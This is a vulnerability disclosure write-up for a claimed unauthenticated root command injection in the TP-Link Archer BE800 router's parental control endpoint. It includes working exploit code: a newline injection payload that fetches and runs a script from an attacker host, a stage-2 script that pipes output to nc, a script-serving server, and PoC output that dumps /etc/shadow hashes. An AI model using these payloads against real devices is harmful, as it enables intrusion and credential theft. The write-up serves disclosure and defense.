This research was conducted exclusively on hardware owned by the researcher in a private, isolated lab environment. No third-party systems were accessed or harmed. All findings were submitted to TP-Link PSIRT under a coordinated disclosure policy.
Technical details are published to advance community awareness and to assist defenders. Reproducing this vulnerability against devices you do not own and have not received explicit written permission to test is illegal in most jurisdictions.
Executive Summary
- CVE: CVE-2026-9254
- Target: TP-Link Archer BE800 V1 (Wi-Fi 7 Tri-Band Router), firmware ≤ 1.3.x
- Vulnerability: OS command injection (CWE-78) in the parental control blocking endpoint; the
urlparameter is embedded into a shell command after an incomplete deny-list check that omits the newline character (0x0a) - Auth Required: None. The endpoint is reachable from the LAN without any credentials
- Secondary Bug: The same endpoint discloses the
vercode(verification code) in plaintext with no auth, eliminating the need to observe or brute-force it - Impact: Arbitrary command execution as
rootby any host on the LAN segment - CVSS 4.0: 8.7 High —
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L - Confirmed: Live exploitation on physical hardware; root shell and
/etc/shadowexfiltration demonstrated
Introduction
The TP-Link Archer BE800 is a premium Wi-Fi 7 tri-band router. Like most modern consumer
routers it runs LuCI — a Lua-based web management framework — with controllers compiled to
Lua 5.1 bytecode. One of these controllers, blocking.lua, manages the parental
control "captive portal" that intercepts blocked devices and presents a block notification page.
This controller exposes an endpoint at
/cgi-bin/luci/blocking?form=vercode that is reachable from the LAN
without administrator credentials. Its purpose is to allow blocked devices
to read their current verification code and for the captive portal page to submit
acknowledgements. A vulnerability in the input validation of this endpoint allows any LAN
host to inject arbitrary shell commands that execute as root.
What makes this particularly severe is the attack surface: no login is required, no session needs to be hijacked, and the only two pieces of information needed — a token and a MAC address — are broadcast in plaintext in HTTP redirect URLs observable by any passive LAN observer. The verification code (vercode) that gates write access is itself readable from the same unauthenticated endpoint.
Scope and Methodology
- Firmware acquisition — Firmware 1.3.2 obtained from TP-Link's official download portal; unpacked with binwalk to recover the SquashFS root filesystem
- Attack surface mapping — Enumerated all LuCI controller bytecode files; identified unauthenticated endpoints by searching for
leafentries lacking auth decorators - Bytecode analysis — Extracted string constants from
blocking.luabytecode usingstrings(1); reconstructed the validation and execution logic from constant ordering - Live testing — Isolated lab with a physical BE800 V1; confirmed the info-disclosure, then escalated to command injection and interactive root shell
The Unauthenticated Endpoint
The blocking handler is registered in LuCI's routing table with a leaf
declaration that carries no authentication requirement. Any HTTP client on the LAN can
reach it directly:
# Read vercode (GET, no auth) GET /cgi-bin/luci/blocking?form=vercode&operation=read&token=T&mac=M HTTP/1.1 200 OK {"success":true,"data":{"vercode":841425}} # Write with injection (POST, no auth) POST /cgi-bin/luci/blocking?form=vercode Content-Type: application/x-www-form-urlencoded operation=write&token=T&mac=M&vercode=841425&apply=website&url=PAYLOAD
Token and MAC Acquisition
The token and MAC are the only parameters an attacker needs to observe. Both are embedded in the captive portal redirect URL that the router issues to any blocked device attempting to browse the web:
HTTP/1.1 302 Found Location: http://tplinkwifi.net/webpages/blocking_new.html ?pid=2 &token=108392 &mac=08-00-27-63-B0-05 &url=http%3A%2F%2Fexample.com%2F
This redirect travels over plaintext HTTP (port 80). Any host on the same LAN segment can capture it by passive traffic sniffing or ARP spoofing. The token is a per-session identifier generated when the blocked device first hits the captive portal; it remains valid until the router reboots or the parental control configuration changes.
Secondary: Vercode Information Disclosure
The write operation requires a vercode — a 6-digit verification code that
changes over time. One might expect this to be the gating secret that prevents
unauthenticated writes. It is not.
The same unauthenticated endpoint exposes a read operation that
returns the current vercode in plaintext given only the token and MAC:
import json, urllib.request def read_vercode(router, token, mac): url = ( f"http://{router}/cgi-bin/luci/blocking?form=vercode" f"&operation=read&token={token}&mac={mac}" ) # No session cookie, no Authorization header — completely open with urllib.request.urlopen(url, timeout=10) as r: return str(json.load(r)["data"]["vercode"]) # Result: vercode = read_vercode("192.168.0.1", "108392", "08-00-27-63-B0-05") # → "841425"
vercode was the only piece of information in the write request that
could not be directly observed from network traffic. Its exposure via the
unauthenticated read operation means the entire exploit chain is
self-contained: an attacker who observes a single captive portal redirect has
everything needed to achieve root code execution.
The Deny-List and Its Omission
Before the url parameter reaches the shell command, it passes through a
character deny-list check. Extracting the bytecode string constants from
blocking.lua reveals the exact set of characters that were blocked in
firmware 1.3.2:
$ strings blocking.lua | grep -E '^[;$&|()`<>{}[\]~'"'"'"]$' ; & | ` $ ( ) < > { } [ ] ~ ' " # 16 single characters — newline (0x0a) is absent
The deny-list covers every standard POSIX shell metacharacter for command separation,
substitution, redirection, and quoting — except the newline character
(0x0a). In Bourne-compatible shells, a newline is syntactically equivalent
to a semicolon: it terminates the current command and begins a new one.
local blacklist = { ";", "&", "|", "`", "$", "(", ")", "<", ">", "{", "}", "[", "]", "~", "'", '"' -- "\n" is absent — this is the vulnerability } for _, c in ipairs(blacklist) do if url:find(c, 1, true) then return err("invalid format") end end -- After validation passes, url is embedded into a shell command: fork_exec(string.format("%s %s %s", "/usr/sbin/report_upload_url_apply", owner_id, url -- user-controlled, newline injection lives here ))
Full Call Chain
|) is in the deny-list, so a direct
id | nc attacker 9999 injection is blocked. The two-stage approach
sidesteps this: the injected commands contain only wget (no pipe) and
/bin/sh. The shell script served by the attacker's HTTP server
can use any characters freely, since it is never evaluated by the deny-list.
Exploit Development
The full proof-of-concept is published at github.com/slagzz. The sections below walk through its three stages.
Stage 1 — Vercode Auto-Read
The PoC first calls the read operation to retrieve the current vercode.
This requires only the token and MAC observed from the captive portal redirect — no
brute-forcing, no timing attack, no authentication.
Stage 2 — Two-Stage Shell Injection
The URL payload delivered in the write operation:
# Stage-2 script served over HTTP (pipe used freely here, outside deny-list scope) script = f"#!/bin/sh\n{cmd} | nc {lhost} {lport}\n".encode() # URL payload: valid http:// prefix + newline + two injection commands + newline url_payload = ( f"http://{lhost}/\n" # passes URL format check; fast-fail on port 80 f"wget -q http://{lhost}:{script_port}/s.sh -O /tmp/s.sh\n" f"/bin/sh /tmp/s.sh\n" ) # Shell on router executes: # /usr/sbin/report_upload_url_apply owner_id http://192.168.0.115/ # wget -q http://192.168.0.115:8888/s.sh -O /tmp/s.sh # /bin/sh /tmp/s.sh
http://192.168.0.115/) rather than an
external domain (http://x.com/) as the URL prefix avoids a slow DNS
lookup and TCP timeout. The router's report_upload_url_apply binary
attempts to connect to this URL, receives an immediate connection-refused (nothing
listens on port 80), and exits quickly — letting the injected wget
and /bin/sh commands run without delay.
Stage 3 — Persistent HTTP Server for Script Delivery
The PoC maintains a persistent HTTP server for the duration of the session so that each command in the interactive loop receives a fresh script without restarting the server between commands:
class _ScriptServer: def __init__(self, port): class _H(http.server.BaseHTTPRequestHandler): def do_GET(inner_self): data = self._script # always latest command inner_self.send_response(200) inner_self.send_header("Content-Length", len(data)) inner_self.end_headers() inner_self.wfile.write(data) self._srv = http.server.HTTPServer(("0.0.0.0", port), _H) threading.Thread(target=self._srv.serve_forever, daemon=True).start() def set_script(self, script: bytes): self._script = script
Proof-of-Concept Output
$ python3 poc.py \ --router 192.168.0.1 \ --token 108392 \ --mac 08-00-27-63-B0-05 \ --lhost 192.168.0.115 ============================================================ TP-Link BE800 — Parental Control LAN RCE No admin credentials required ============================================================ Router : 192.168.0.1 MAC : 08-00-27-63-B0-05 Token : 108392 Callback : 192.168.0.115:9999 Script : 192.168.0.115:8888 [*] Reading vercode from unauthenticated API... [+] Vercode : 841425 [+] Shell ready. Commands run as root. Type 'exit' to quit. router# id uid=0(root) gid=0(root) router# uname -a Linux Archer_BE800 5.4.213 #0 SMP PREEMPT Wed Jul 16 03:11:33 2025 aarch64 GNU/Linux router# cat /etc/shadow root:x:0:0:99999:7::: sftpadmin:x:0:0:99999:7::: admin:$6$Bw4fdeV.uFko4YvW$i1QT8LECrJV5yFH4kuyd6ARJsetlj9GvHCKCxR2PAjqhVvXK9nR3yC1NujsErU6kz6H2fB3re4eSxraCYaI1u/:20376:0:99999:7::: guest:$6$k9Jbd.JdO0Newd7v$67qVrRCAnjaV.0ob0Ltyt2QoUClhHG0RE2fb9fI8R7xqDD1c3SRXHPl67rvUBGwWpLtctK9CPXFyfOfPqEbrn/:20376:0:99999:7::: router# exit
Security Assessment
| Aspect | Assessment |
|---|---|
| Authentication barrier | None. The endpoint is designed for use by captive portal pages without admin login. No session token, cookie, or credential is required from the attacker. |
| Token/MAC acquisition | Both values are embedded in a plaintext HTTP redirect visible to any passive LAN observer. No active interaction with the target is necessary beyond waiting for a blocked device to browse. |
| Vercode gating | The vercode is readable from the same unauthenticated read operation. It provides no additional security barrier to an attacker who already has the token and MAC. |
| Execution context | Root. The LuCI CGI process runs as uid=0. All injected commands execute with full system privileges. |
| Reliability | Injection is deterministic — no race condition, heap spray, or memory corruption required. A single correctly-formed POST request achieves code execution. |
| Root cause | A deny-list-based approach applied to a parameter embedded in a shell command, with the deny-list failing to include the newline character. Deny-lists for shell safety are inherently fragile; allow-lists or shell-free execution are the correct mitigations. |
Tools and Techniques
- binwalk — firmware extraction (1.3.2)
- ubireader + unsquashfs — UBIFS/SquashFS extraction
- strings(1) — Lua 5.1 bytecode constant extraction
- Python struct — bytecode offset analysis for deny-list diffs
- Python http.server — script delivery over HTTP
- netcat (BusyBox nc) — command output callback
- Two-stage wget injection — avoids
|deny-list entry - urllib (stdlib only) — no external Python dependencies
Key Takeaways
For Security Researchers
- Unauthenticated endpoints are high-value targets. Even if a parameter appears to be validated, enumerate the validation approach before assuming safety — deny-lists are almost always incomplete.
- When a deny-list is present, enumerate omitted characters methodically against the full
POSIX metacharacter set:
; & | ` $ ( ) < > { } [ ] ~ ' " \n \r \t \0. Newline is commonly overlooked because it does not appear in lists that focus on "printable" metacharacters. - The two-stage wget + script approach is a reliable bypass for deny-lists that block
|but not newline: the pipe lives in the downloaded script, outside the validation scope.
For Router Manufacturers
- Unauthenticated endpoints that call shell commands are extremely high-risk. Apply the principle of least privilege: if a feature does not require unauthenticated access, do not offer it without credentials.
- Prefer argument-list process creation (
nixio.fork_execwith individual args) over shell string formatting. It eliminates an entire class of metacharacter injection vulnerabilities regardless of what characters are or are not in a deny-list. - Treat the vercode as a secret. An info-disclosure bug that exposes it from the same unauthenticated endpoint it is meant to protect negates any gating value it might have.
References
- TP-Link security advisory / FAQ — https://www.tp-link.com/us/support/faq/5264/
- CVE-2026-9254 record — https://vulnogram.org/seaview/?CVE-2026-9254